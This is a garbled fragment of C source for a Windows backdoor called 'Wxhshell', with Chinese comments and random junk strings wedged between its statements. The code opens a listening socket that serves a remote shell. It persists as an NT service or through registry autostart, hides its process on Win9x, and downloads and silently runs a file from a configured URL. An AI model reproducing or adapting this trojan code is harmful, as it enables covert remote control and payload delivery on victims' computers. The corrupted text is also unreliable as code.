1; // 以服务启动 9g+UJ\u^ m\} =4b return 0; // 注册表启动 !a)s` } $*aE$O6l xrX?ZJ // 主模块 Dwk$CJb3- int StartWxhshell(LPSTR lpCmdLine) /\TlO.B= { rN'.&;Y5 SOCKET wsl; 7zi"caY BOOL val=TRUE; |Pj9ZG# int port=0; ]#M/$?!]g2 struct sockaddr_in door; H&u4v2
I4CHfs"ar if(wscfg.ws_autoins) Install(); w2KWa-BO &Ky3Jb<:Gt port=atoi(lpCmdLine); ax;{MfsK T!&jFy*W if(port<=0) port=wscfg.ws_port; ->Q`'@'|P "?`JA7~g WSADATA data;
B[Ix?V4yy if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g!.Ut:8L9 sOjF?bCdO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SkriX\p setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s?~8O|Mu' door.sin_family = AF_INET; B5
tx f. door.sin_addr.s_addr = inet_addr("127.0.0.1"); a5>)?m door.sin_port = htons(port);
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9]ug) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g8rp|MOH closesocket(wsl); ;*"!:GR%h return 1; ''%;EW> } *u<rU,C8 k>$FT` if(listen(wsl,2) == INVALID_SOCKET) { EI%M
Azj} closesocket(wsl); = ]WW'~ return 1; @-}D7? } QR|XV%$ Wxhshell(wsl); A4}JZi6@ WSACleanup(); IsWcz+1n ^#}dPGm return 0; [U%.Gi ef^Cc)S-Q } <8g *O2 0I(uddG3 // 以NT服务方式启动 ntDRlX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %GNUnr$ { 5#yJK>a7 DWORD status = 0; HDa~7wE DWORD specificError = 0xfffffff; l@~1CMyN V@LN
1| serviceStatus.dwServiceType = SERVICE_WIN32; `WP@ZSC6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; |R[v@c`pn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J2)-cY5G serviceStatus.dwWin32ExitCode = 0; Wk0>1 rlu serviceStatus.dwServiceSpecificExitCode = 0; x:=0.l# serviceStatus.dwCheckPoint = 0; AlAh
S< serviceStatus.dwWaitHint = 0; xI-=tib t5I^1u6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]u\ ` if (hServiceStatusHandle==0) return; C+X)">/+L
7=$+k]U8 status = GetLastError(); l6', if (status!=NO_ERROR) gcQ. YP9 { $'WapxF serviceStatus.dwCurrentState = SERVICE_STOPPED; r'Hy}HWuF serviceStatus.dwCheckPoint = 0; mOwWg serviceStatus.dwWaitHint = 0; j` [#Ij serviceStatus.dwWin32ExitCode = status; /UEV8 1 serviceStatus.dwServiceSpecificExitCode = specificError; L*kh?PS; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1}i&HIr!b return; Usa{J: } Gr`MGQ, ?Ry%c6(} serviceStatus.dwCurrentState = SERVICE_RUNNING; UY?i E= serviceStatus.dwCheckPoint = 0; j;1~=j]) serviceStatus.dwWaitHint = 0; Pmqx ; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /%N31 } ws*~$x?7 L?Kz
P.(t+ // 处理NT服务事件,比如:启动、停止 xn%l VOID WINAPI NTServiceHandler(DWORD fdwControl) Qx6,>'Qk' { /}h71V! switch(fdwControl) GI 0x>Z+ { oG4w8+N case SERVICE_CONTROL_STOP: A^}i^ serviceStatus.dwWin32ExitCode = 0; R@)'Bs serviceStatus.dwCurrentState = SERVICE_STOPPED; hj[+d%YZY" serviceStatus.dwCheckPoint = 0; Oz4,Y+[# serviceStatus.dwWaitHint = 0; B[)
[fE { VEFwqB1l SetServiceStatus(hServiceStatusHandle, &serviceStatus); bLU^1S8Z } FYx `o\ return; ~zXG<}n case SERVICE_CONTROL_PAUSE: UFzM# serviceStatus.dwCurrentState = SERVICE_PAUSED; 7yq7a[Ra break; lpM>}0v case SERVICE_CONTROL_CONTINUE: w^:V."}-$ serviceStatus.dwCurrentState = SERVICE_RUNNING; oTplxF1 break; ``2QOu 1 case SERVICE_CONTROL_INTERROGATE: _IQU<Za break; fPh}l }; F20wf1^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); vF*^xhh } Dz"u8 f ? 6yF{!F* // 标准应用程序主函数 0)6i~Mg lY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IGh !d?D { d- Z+fz Rye~w6 // 获取操作系统版本 O<eWq] OsIsNt=GetOsVer(); ~$?y1Yv GetModuleFileName(NULL,ExeFile,MAX_PATH); =!pu+&I 9 /pAm8vK // 从命令行安装 J1gEjd if(strpbrk(lpCmdLine,"iI")) Install(); %2rHvF= =sUl`L+w,L // 下载执行文件 gL[1wM%? if(wscfg.ws_downexe) { XEvGhy# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <WQ<<s@#pb WinExec(wscfg.ws_filenam,SW_HIDE); avHD'zU}N } 2yEO=SN,( Vid{6?7kh if(!OsIsNt) { tdw\Di#m // 如果时win9x,隐藏进程并且设置为注册表启动 E1U 4v&P HideProc(); A}t&- StartWxhshell(lpCmdLine); .b_0k<M!p } ]<\;d
B else Q+u#?[' if(StartFromService()) k *G!. // 以服务方式启动 ]2aYi9) StartServiceCtrlDispatcher(DispatchTable); `Q1WVd29 else g "K#& // 普通方式启动 #Vn>ue+? StartWxhshell(lpCmdLine); Kc2OLz# $ +GFOO return 0; 4BduUH }
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